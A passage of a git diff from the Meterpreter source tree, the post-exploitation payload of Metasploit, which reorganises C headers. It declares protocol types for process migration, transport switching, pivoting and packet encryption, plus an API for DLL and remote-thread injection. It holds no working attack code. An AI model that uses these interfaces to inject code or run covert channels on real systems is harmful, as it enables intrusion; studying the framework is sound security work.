Extended types - TLV_TYPE_LENGTH = TLV_VALUE(TLV_META_TYPE_UINT, 25), ///! Represents a length (unsigned integer). - TLV_TYPE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 26), ///! Represents arbitrary data (raw). - TLV_TYPE_FLAGS = TLV_VALUE(TLV_META_TYPE_UINT, 27), ///! Represents a set of flags (unsigned integer). - - // Channel types - TLV_TYPE_CHANNEL_ID = TLV_VALUE(TLV_META_TYPE_UINT, 50), ///! Represents a channel identifier (unsigned integer). - TLV_TYPE_CHANNEL_TYPE = TLV_VALUE(TLV_META_TYPE_STRING, 51), ///! Represents a channel type (string). - TLV_TYPE_CHANNEL_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 52), ///! Represents channel data (raw). - TLV_TYPE_CHANNEL_DATA_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 53), ///! Represents a channel data group (group). - TLV_TYPE_CHANNEL_CLASS = TLV_VALUE(TLV_META_TYPE_UINT, 54), ///! Represents a channel class (unsigned integer). - TLV_TYPE_CHANNEL_PARENTID = TLV_VALUE(TLV_META_TYPE_UINT, 55), ///! Represents a channel parent identifier (unsigned integer). - - // Channel extended types - TLV_TYPE_SEEK_WHENCE = TLV_VALUE(TLV_META_TYPE_UINT, 70), - TLV_TYPE_SEEK_OFFSET = TLV_VALUE(TLV_META_TYPE_UINT, 71), - TLV_TYPE_SEEK_POS = TLV_VALUE(TLV_META_TYPE_UINT, 72), - - // Grouped identifiers - TLV_TYPE_EXCEPTION_CODE = TLV_VALUE(TLV_META_TYPE_UINT, 300), ///! Represents an exception code value (unsigned in). - TLV_TYPE_EXCEPTION_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 301), ///! Represents an exception message value (string). - - // Library loading - TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string). - TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string). - TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer). - TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer). - TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string). - TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture. - TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int). - TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int). - TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int). - TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string) - TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint). - TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string). - - // Transport switching - TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to. - TLV_TYPE_TRANS_URL = TLV_VALUE(TLV_META_TYPE_STRING, 431), ///! Represents the new URL of the transport to use. - TLV_TYPE_TRANS_UA = TLV_VALUE(TLV_META_TYPE_STRING, 432), ///! Represents the user agent (for http). - TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 433), ///! Represents the communications timeout. - TLV_TYPE_TRANS_SESSION_EXP = TLV_VALUE(TLV_META_TYPE_UINT, 434), ///! Represents the session expiration. - TLV_TYPE_TRANS_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 435), ///! Represents the certificate hash (for https). - TLV_TYPE_TRANS_PROXY_HOST = TLV_VALUE(TLV_META_TYPE_STRING, 436), ///! Represents the proxy host string (for http/s). - TLV_TYPE_TRANS_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 437), ///! Represents the proxy user name (for http/s). - TLV_TYPE_TRANS_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 438), ///! Represents the proxy password (for http/s). - TLV_TYPE_TRANS_RETRY_TOTAL = TLV_VALUE(TLV_META_TYPE_UINT, 439), ///! Total time (seconds) to continue retrying comms. - TLV_TYPE_TRANS_RETRY_WAIT = TLV_VALUE(TLV_META_TYPE_UINT, 440), ///! Time (seconds) to wait between reconnect attempts. - TLV_TYPE_TRANS_HEADERS = TLV_VALUE(TLV_META_TYPE_STRING, 441), ///! List of custom headers to send with the requests. - TLV_TYPE_TRANS_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 442), ///! A single transport grouping. - - // session/machine identification - TLV_TYPE_MACHINE_ID = TLV_VALUE(TLV_META_TYPE_STRING, 460), ///! Represents a machine identifier. - TLV_TYPE_UUID = TLV_VALUE(TLV_META_TYPE_RAW, 461), ///! Represents a UUID. - TLV_TYPE_SESSION_GUID = TLV_VALUE(TLV_META_TYPE_RAW, 462), ///! Represents a Session GUID. - - // Packet encryption - TLV_TYPE_RSA_PUB_KEY = TLV_VALUE(TLV_META_TYPE_STRING, 550), ///! Represents PEM-formatter RSA public key - TLV_TYPE_SYM_KEY_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 551), ///! Represents the type of symmetric key - TLV_TYPE_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 552), ///! Represents the symmetric key - TLV_TYPE_ENC_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 553), ///! Represents and RSA-encrypted symmetric key - - // Pivots - TLV_TYPE_PIVOT_ID = TLV_VALUE(TLV_META_TYPE_RAW, 650), ///! Represents the id of the pivot listener - TLV_TYPE_PIVOT_STAGE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 651), ///! Represents the data to be staged on new connections. - TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_VALUE(TLV_META_TYPE_UINT, 652), ///! Represents the size of the data to be staged on new connections. - TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 653), ///! Represents named pipe name. - - TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. - TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. - TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value. -} TlvType; - -#ifndef QWORD -typedef unsigned __int64 QWORD; -#endif - -#define ntohq( qword ) ( (QWORD)ntohl( qword & 0xFFFFFFFF ) << 32 ) | ntohl( qword >> 32 ) -#define htonq( qword ) ntohq( qword ) - -typedef struct -{ - DWORD length; - DWORD type; -} TlvHeader; - -typedef struct -{ - TlvHeader header; - PUCHAR buffer; -} Tlv; - -typedef struct -{ - BYTE xor_key[4]; - BYTE session_guid[sizeof(GUID)]; - DWORD enc_flags; - DWORD length; - DWORD type; -} PacketHeader; - -/*! @brief Packet definition. */ -typedef struct _Packet -{ - PacketHeader header; - - PUCHAR payload; - ULONG payloadLength; - - LIST * decompressed_buffers; - - ///! @brief Flag indicating if this packet is a local (ie. non-transmittable) packet. - BOOL local; - ///! @brief Pointer to the associated packet (response/request) - struct _Packet* partner; -} Packet; - -typedef struct _DECOMPRESSED_BUFFER -{ - LPVOID buffer; - DWORD length; -} DECOMPRESSED_BUFFER; - -/*! * @brief Packet request completion notification handler function pointer type. */ -typedef DWORD (*PacketRequestCompletionRoutine)(Remote *remote, - Packet *response, LPVOID context, LPCSTR method, DWORD result); - -typedef struct _PacketRequestCompletion -{ - LPVOID context; - PacketRequestCompletionRoutine routine; - DWORD timeout; -} PacketRequestCompletion; - -/* - * Packet manipulation - */ -LINKAGE Packet *packet_create(PacketTlvType type, LPCSTR method); -LINKAGE Packet *packet_create_response(Packet *packet); -LINKAGE Packet* packet_create_group(); -LINKAGE Packet *packet_duplicate(Packet *packet); -LINKAGE VOID packet_destroy(Packet *packet); - -LINKAGE DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket); -LINKAGE DWORD packet_add_tlv_string(Packet *packet, TlvType type, LPCSTR str); -LINKAGE DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str); -LINKAGE DWORD packet_add_tlv_wstring_len(Packet *packet, TlvType type, LPCWSTR str, size_t strLength); -LINKAGE DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val); -LINKAGE DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val ); -LINKAGE DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val); -LINKAGE DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, DWORD numEntries); -LINKAGE DWORD packet_add_tlvs(Packet *packet, Tlv *entries, DWORD numEntries); -LINKAGE DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length); -LINKAGE DWORD packet_is_tlv_null_terminated(Tlv *tlv); -LINKAGE PacketTlvType packet_get_type(Packet *packet); -LINKAGE TlvMetaType packet_get_tlv_meta(Packet *packet, Tlv *tlv); -LINKAGE DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv); -LINKAGE DWORD packet_get_tlv_string(Packet *packet, TlvType type, Tlv *tlv); -LINKAGE DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type,Tlv *entry); -LINKAGE DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv); - -LINKAGE PCHAR packet_get_tlv_value_string(Packet *packet, TlvType type); -LINKAGE wchar_t* packet_get_tlv_value_wstring(Packet* packet, TlvType type); -LINKAGE UINT packet_get_tlv_value_uint(Packet *packet, TlvType type); -LINKAGE BYTE * packet_get_tlv_value_raw( Packet * packet, TlvType type ); -LINKAGE QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type); -LINKAGE BOOL packet_get_tlv_value_bool(Packet *packet, TlvType type); - -LINKAGE DWORD packet_add_exception(Packet *packet, DWORD code,PCHAR string, ...); - -LINKAGE DWORD packet_get_result(Packet *packet); - -/* - * Packet transmission - */ -LINKAGE DWORD packet_transmit_response(DWORD result, Remote* remote, Packet* response); -LINKAGE DWORD packet_transmit(Remote* remote, Packet* packet, PacketRequestCompletion* completion); -LINKAGE DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res); -LINKAGE DWORD packet_add_request_id(Packet* packet); - -/* - * Packet completion notification - */ -LINKAGE DWORD packet_add_completion_handler(LPCSTR requestId, PacketRequestCompletion *completion); -LINKAGE DWORD packet_call_completion_handlers(Remote *remote, Packet *response,LPCSTR requestId); -LINKAGE DWORD packet_remove_completion_handler(LPCSTR requestId); - -/* - * Core API - */ -LINKAGE HANDLE core_update_thread_token( Remote *remote, HANDLE token ); -LINKAGE VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName ); - -#endif +/*! + * @file core.h + * @brief Declarations of core components of the Meterpreter suite. + * @details Much of what exists in the core files is used in almost every area + * of the Meterpreter code base, and hence it's very important. Don't + * change this stuff unless you know what you're doing! + */ +#ifndef _METERPRETER_COMMON_CORE_H +#define _METERPRETER_COMMON_CORE_H + +#include "common_remote.h" +#include "common_list.h" + +/*! + * @brief Creates a new TLV value based on `actual` and `meta` values. + */ +#define TLV_VALUE(meta, actual) actual | meta +/*! + * @brief Creates a new custom TVL type. + */ +#define MAKE_CUSTOM_TLV(meta, base, actual) (TlvType)((base + actual) | meta) + +/*! + * @brief Enumeration of allowed Packet TLV types. + */ +typedef enum +{ + PACKET_TLV_TYPE_REQUEST = 0, ///< Indicates a request packet. + PACKET_TLV_TYPE_RESPONSE = 1, ///< Indicates a response packet. + PACKET_TLV_TYPE_PLAIN_REQUEST = 10, ///< Indicates a plain request packet. + PACKET_TLV_TYPE_PLAIN_RESPONSE = 11, ///< Indicates a plain response packet. +} PacketTlvType; + +/*! @brief Meta TLV argument type representing a null value. */ +#define TLV_META_TYPE_NONE (0 << 0) +/*! @brief Meta TLV argument type representing a string value. */ +#define TLV_META_TYPE_STRING (1 << 16) +/*! @brief Meta TLV argument type representing a unsigned integer value. */ +#define TLV_META_TYPE_UINT (1 << 17) +/*! @brief Meta TLV argument type representing a raw data value. */ +#define TLV_META_TYPE_RAW (1 << 18) +/*! @brief Meta TLV argument type representing a boolean value. */ +#define TLV_META_TYPE_BOOL (1 << 19) +/*! @brief Meta TLV argument type representing a quad-word value. */ +#define TLV_META_TYPE_QWORD (1 << 20) +/*! @brief Meta TLV argument type representing a compressed data value. */ +#define TLV_META_TYPE_COMPRESSED (1 << 29) +/*! @brief Meta TLV argument type representing a group value. */ +#define TLV_META_TYPE_GROUP (1 << 30) +/*! @brief Meta TLV argument type representing a nested/complex value. */ +#define TLV_META_TYPE_COMPLEX (1 << 31) +/*! @brief Meta TLV argument type representing a flag set/mask value. */ +#define TLV_META_TYPE_MASK(x) ((x) & 0xffff0000) + +/*! @brief Base value for reserved TLV definitions. */ +#define TLV_RESERVED 0 +/*! @brief Base value for TLV definitions that are part of extensions. */ +#define TLV_EXTENSIONS 20000 +/*! @brief Base value for user TLV definitions. */ +#define TLV_USER 40000 +/*! @brief Base value for temporary TLV definitions. */ +#define TLV_TEMP 60000 + +/*! + * @brief Indicates that the library in question should be stored on disk. + * @detail Some libraries can be written to disk and other libraries can't. The use of + * this flag will indicate that the library should not be written to disk and + * instead should be loaded reflectively. + */ +#define LOAD_LIBRARY_FLAG_ON_DISK (1 << 0) + +/*! + * @brief Indicates that the library in question is an extension library. + * @detail Extension libraries have \c InitServerExtension and \c DeinitServerExtension + * functions which need to be invoked. This flag indicates that the library has + * these functions and that they should be called appropriately. + */ +#define LOAD_LIBRARY_FLAG_EXTENSION (1 << 1) + +/*! + * @brief Indicates that the library in question is a library that exists locally. + * @detail Libraries can already exist on the target machine. This flag indicates that + * the library doesn't need to be uploaded, it just needs to be invoked directly + * on the local machine. + */ +#define LOAD_LIBRARY_FLAG_LOCAL (1 << 2) + +/*! @brief An indication of whether the challen is synchronous or asynchronous. */ +#define CHANNEL_FLAG_SYNCHRONOUS (1 << 0) +/*! @brief An indication of whether the content written to the channel should be compressed. */ +#define CHANNEL_FLAG_COMPRESS (1 << 1) + +/*! @brief Type definition with defines `TlvMetaType` as an double-word. */ +typedef DWORD TlvMetaType; + +/*! + * @brief Full list of recognised TLV types. + */ +typedef enum +{ + TLV_TYPE_ANY = TLV_VALUE(TLV_META_TYPE_NONE, 0), ///! Represents an undefined/arbitrary value. + TLV_TYPE_METHOD = TLV_VALUE(TLV_META_TYPE_STRING, 1), ///! Represents a method/function name value. + TLV_TYPE_REQUEST_ID = TLV_VALUE(TLV_META_TYPE_STRING, 2), ///! Represents a request identifier value. + TLV_TYPE_EXCEPTION = TLV_VALUE(TLV_META_TYPE_GROUP, 3), ///! Represents an exception value. + TLV_TYPE_RESULT = TLV_VALUE(TLV_META_TYPE_UINT, 4), ///! Represents a result value. + + // Argument basic types + TLV_TYPE_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 10), ///! Represents a string value. + TLV_TYPE_UINT = TLV_VALUE(TLV_META_TYPE_UINT, 11), ///! Represents an unsigned integer value. + TLV_TYPE_BOOL = TLV_VALUE(TLV_META_TYPE_BOOL, 12), ///! Represents a boolean value. + + // Extended types + TLV_TYPE_LENGTH = TLV_VALUE(TLV_META_TYPE_UINT, 25), ///! Represents a length (unsigned integer). + TLV_TYPE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 26), ///! Represents arbitrary data (raw). + TLV_TYPE_FLAGS = TLV_VALUE(TLV_META_TYPE_UINT, 27), ///! Represents a set of flags (unsigned integer). + + // Channel types + TLV_TYPE_CHANNEL_ID = TLV_VALUE(TLV_META_TYPE_UINT, 50), ///! Represents a channel identifier (unsigned integer). + TLV_TYPE_CHANNEL_TYPE = TLV_VALUE(TLV_META_TYPE_STRING, 51), ///! Represents a channel type (string). + TLV_TYPE_CHANNEL_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 52), ///! Represents channel data (raw). + TLV_TYPE_CHANNEL_DATA_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 53), ///! Represents a channel data group (group). + TLV_TYPE_CHANNEL_CLASS = TLV_VALUE(TLV_META_TYPE_UINT, 54), ///! Represents a channel class (unsigned integer). + TLV_TYPE_CHANNEL_PARENTID = TLV_VALUE(TLV_META_TYPE_UINT, 55), ///! Represents a channel parent identifier (unsigned integer). + + // Channel extended types + TLV_TYPE_SEEK_WHENCE = TLV_VALUE(TLV_META_TYPE_UINT, 70), + TLV_TYPE_SEEK_OFFSET = TLV_VALUE(TLV_META_TYPE_UINT, 71), + TLV_TYPE_SEEK_POS = TLV_VALUE(TLV_META_TYPE_UINT, 72), + + // Grouped identifiers + TLV_TYPE_EXCEPTION_CODE = TLV_VALUE(TLV_META_TYPE_UINT, 300), ///! Represents an exception code value (unsigned in). + TLV_TYPE_EXCEPTION_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 301), ///! Represents an exception message value (string). + + // Library loading + TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string). + TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string). + TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer). + TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer). + TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string). + TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture. + TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int). + TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int). + TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int). + TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string) + TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint). + TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string). + + // Transport switching + TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to. + TLV_TYPE_TRANS_URL = TLV_VALUE(TLV_META_TYPE_STRING, 431), ///! Represents the new URL of the transport to use. + TLV_TYPE_TRANS_UA = TLV_VALUE(TLV_META_TYPE_STRING, 432), ///! Represents the user agent (for http). + TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 433), ///! Represents the communications timeout. + TLV_TYPE_TRANS_SESSION_EXP = TLV_VALUE(TLV_META_TYPE_UINT, 434), ///! Represents the session expiration. + TLV_TYPE_TRANS_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 435), ///! Represents the certificate hash (for https). + TLV_TYPE_TRANS_PROXY_HOST = TLV_VALUE(TLV_META_TYPE_STRING, 436), ///! Represents the proxy host string (for http/s). + TLV_TYPE_TRANS_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 437), ///! Represents the proxy user name (for http/s). + TLV_TYPE_TRANS_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 438), ///! Represents the proxy password (for http/s). + TLV_TYPE_TRANS_RETRY_TOTAL = TLV_VALUE(TLV_META_TYPE_UINT, 439), ///! Total time (seconds) to continue retrying comms. + TLV_TYPE_TRANS_RETRY_WAIT = TLV_VALUE(TLV_META_TYPE_UINT, 440), ///! Time (seconds) to wait between reconnect attempts. + TLV_TYPE_TRANS_HEADERS = TLV_VALUE(TLV_META_TYPE_STRING, 441), ///! List of custom headers to send with the requests. + TLV_TYPE_TRANS_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 442), ///! A single transport grouping. + + // session/machine identification + TLV_TYPE_MACHINE_ID = TLV_VALUE(TLV_META_TYPE_STRING, 460), ///! Represents a machine identifier. + TLV_TYPE_UUID = TLV_VALUE(TLV_META_TYPE_RAW, 461), ///! Represents a UUID. + TLV_TYPE_SESSION_GUID = TLV_VALUE(TLV_META_TYPE_RAW, 462), ///! Represents a Session GUID. + + // Packet encryption + TLV_TYPE_RSA_PUB_KEY = TLV_VALUE(TLV_META_TYPE_STRING, 550), ///! Represents PEM-formatter RSA public key + TLV_TYPE_SYM_KEY_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 551), ///! Represents the type of symmetric key + TLV_TYPE_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 552), ///! Represents the symmetric key + TLV_TYPE_ENC_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 553), ///! Represents and RSA-encrypted symmetric key + + // Pivots + TLV_TYPE_PIVOT_ID = TLV_VALUE(TLV_META_TYPE_RAW, 650), ///! Represents the id of the pivot listener + TLV_TYPE_PIVOT_STAGE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 651), ///! Represents the data to be staged on new connections. + TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_VALUE(TLV_META_TYPE_UINT, 652), ///! Represents the size of the data to be staged on new connections. + TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 653), ///! Represents named pipe name. + + TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. + TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. + TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value. +} TlvType; + +#ifndef QWORD +typedef unsigned __int64 QWORD; +#endif + +#define ntohq( qword ) ( (QWORD)ntohl( qword & 0xFFFFFFFF ) << 32 ) | ntohl( qword >> 32 ) +#define htonq( qword ) ntohq( qword ) + +typedef struct +{ + DWORD length; + DWORD type; +} TlvHeader; + +typedef struct +{ + TlvHeader header; + PUCHAR buffer; +} Tlv; + +typedef struct +{ + BYTE xor_key[4]; + BYTE session_guid[sizeof(GUID)]; + DWORD enc_flags; + DWORD length; + DWORD type; +} PacketHeader; + +/*! @brief Packet definition. */ +typedef struct _Packet +{ + PacketHeader header; + + PUCHAR payload; + ULONG payloadLength; + + LIST * decompressed_buffers; + + ///! @brief Flag indicating if this packet is a local (ie. non-transmittable) packet. + BOOL local; + ///! @brief Pointer to the associated packet (response/request) + struct _Packet* partner; +} Packet; + +typedef struct _DECOMPRESSED_BUFFER +{ + LPVOID buffer; + DWORD length; +} DECOMPRESSED_BUFFER; + +/*! * @brief Packet request completion notification handler function pointer type. */ +typedef DWORD (*PacketRequestCompletionRoutine)(Remote *remote, + Packet *response, LPVOID context, LPCSTR method, DWORD result); + +typedef struct _PacketRequestCompletion +{ + LPVOID context; + PacketRequestCompletionRoutine routine; + DWORD timeout; +} PacketRequestCompletion; + +#endif diff --git a/c/meterpreter/source/common/list.h b/c/meterpreter/source/common/common_list.h old mode 100755 new mode 100644 similarity index 58% rename from c/meterpreter/source/common/list.h rename to c/meterpreter/source/common/common_list.h index 9a45f807..f741140d --- a/c/meterpreter/source/common/list.h +++ b/c/meterpreter/source/common/common_list.h @@ -1,41 +1,28 @@ -/*! - * @file list.h - * @brief Declarations for functions that operate on lists. - */ -#ifndef _METERPRETER_LIB_LIST_H -#define _METERPRETER_LIB_LIST_H - -/*! @brief Container struct for data the lives in a list. */ -typedef struct _NODE -{ - struct _NODE * next; ///< Pointer to the next node in the list. - struct _NODE * prev; ///< Pointer to the previous node in the list. - LPVOID data; ///< Reference to the data in the list node. -} NODE, *PNODE; - -/*! @brief Container structure for a list instance. */ -typedef struct _LIST -{ - NODE * start; ///< Pointer to the first node in the list. - NODE * end; ///< Pointer to the last node in the list. - DWORD count; ///< Count of elements in the list. - LOCK * lock; ///< Reference to the list's synchronisation lock. -} LIST, *PLIST; - -typedef BOOL (*PLISTENUMCALLBACK)(LPVOID pState, LPVOID pData); -typedef VOID (*PCLEARFUNC)(LPVOID pData); - -LIST * list_create(VOID); -VOID list_destroy(PLIST pList); -DWORD list_count(PLIST pList); -LPVOID list_get(PLIST pList, DWORD index); -BOOL list_clear(PLIST pList, PCLEARFUNC pFunc); -BOOL list_add(PLIST pList, LPVOID data); -BOOL list_remove(PLIST pList, LPVOID data); -BOOL list_delete(PLIST pList, DWORD index); -BOOL list_push(PLIST pList, LPVOID data); -LPVOID list_pop(PLIST pList); -LPVOID list_shift(PLIST pList); -BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState); - -#endif \ No newline at end of file +/*! + * @file list.h + * @brief Declarations for functions that operate on lists. + */ +#ifndef _METERPRETER_COMMON_LIST_H +#define _METERPRETER_COMMON_LIST_H + +/*! @brief Container struct for data the lives in a list. */ +typedef struct _NODE +{ + struct _NODE * next; ///< Pointer to the next node in the list. + struct _NODE * prev; ///< Pointer to the previous node in the list. + LPVOID data; ///< Reference to the data in the list node. +} NODE, *PNODE; + +/*! @brief Container structure for a list instance. */ +typedef struct _LIST +{ + NODE * start; ///< Pointer to the first node in the list. + NODE * end; ///< Pointer to the last node in the list. + DWORD count; ///< Count of elements in the list. + LOCK * lock; ///< Reference to the list's synchronisation lock. +} LIST, *PLIST; + +typedef BOOL (*PLISTENUMCALLBACK)(LPVOID pState, LPVOID pData); +typedef VOID (*PCLEARFUNC)(LPVOID pData); + +#endif diff --git a/c/meterpreter/source/common/common_metapi.h b/c/meterpreter/source/common/common_metapi.h new file mode 100644 index 00000000..fa26a531 --- /dev/null +++ b/c/meterpreter/source/common/common_metapi.h @@ -0,0 +1,177 @@ +/*! + * @file common_metapi.h + * @brief Declarations for the Metepreter API to be used by extensions. + */ +#ifndef _METERPRETER_COMMON_METAPI_H +#define _METERPRETER_COMMON_METAPI_H + +typedef struct _InjectApi +{ + DWORD(*dll)(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char* cpCommandLine); + DWORD(*via_apcthread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); + DWORD(*via_remotethread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); + DWORD(*via_remotethread_wow64)(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* pThread); +} InjectApi; + +typedef struct _ChannelApi +{ + BOOL(*exists)(Channel* channel); + BOOL(*is_interactive)(Channel* channel); + BOOLEAN(*is_flag)(Channel* channel, ULONG flag); + Channel*(*create)(DWORD identifier, DWORD flags); + Channel*(*create_datagram)(DWORD identifier, DWORD flags, DatagramChannelOps* ops); + Channel*(*create_pool)(DWORD identifier, DWORD flags, PoolChannelOps* ops); + Channel*(*create_stream)(DWORD identifier, DWORD flags, StreamChannelOps* ops); + Channel*(*find_by_id)(DWORD id); + DWORD(*close)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, ChannelCompletionRoutine* completionRoutine); + DWORD(*default_io_handler)(Channel* channel, ChannelBuffer* buffer, LPVOID context, ChannelDioMode mode, PUCHAR chunk, ULONG length, PULONG bytesXfered); + DWORD(*get_class)(Channel* channel); + DWORD(*get_id)(Channel* channel); + DWORD(*interact)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, BOOL enable, ChannelCompletionRoutine* completionRoutine); + DWORD(*open)(Remote* remote, Tlv* addend, DWORD addendLength, ChannelCompletionRoutine* completionRoutine); + DWORD(*read)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, ULONG length, ChannelCompletionRoutine* completionRoutine); + DWORD(*read_from_buffered)(Channel* channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesRead); + DWORD(*write)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, PUCHAR buffer, ULONG length, ChannelCompletionRoutine* completionRoutine); + DWORD(*write_to_buffered)(Channel* channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten); + DWORD(*write_to_remote)(Remote* remote, Channel* channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten); + LPVOID(*get_native_io_context)(Channel* channel); + PCHAR(*get_type)(Channel* channel); + PVOID(*get_buffered_io_context)(Channel* channel); + ULONG(*get_flags)(Channel* channel); + VOID(*destroy)(Channel* channel, Packet* request); + VOID(*set_buffered_io_handler)(Channel* channel, LPVOID dioContext, DirectIoHandler dio); + VOID(*set_flags)(Channel* channel, ULONG flags); + VOID(*set_interactive)(Channel* channel, BOOL interactive); + VOID(*set_native_io_context)(Channel* channel, LPVOID context); + VOID(*set_type)(Channel* 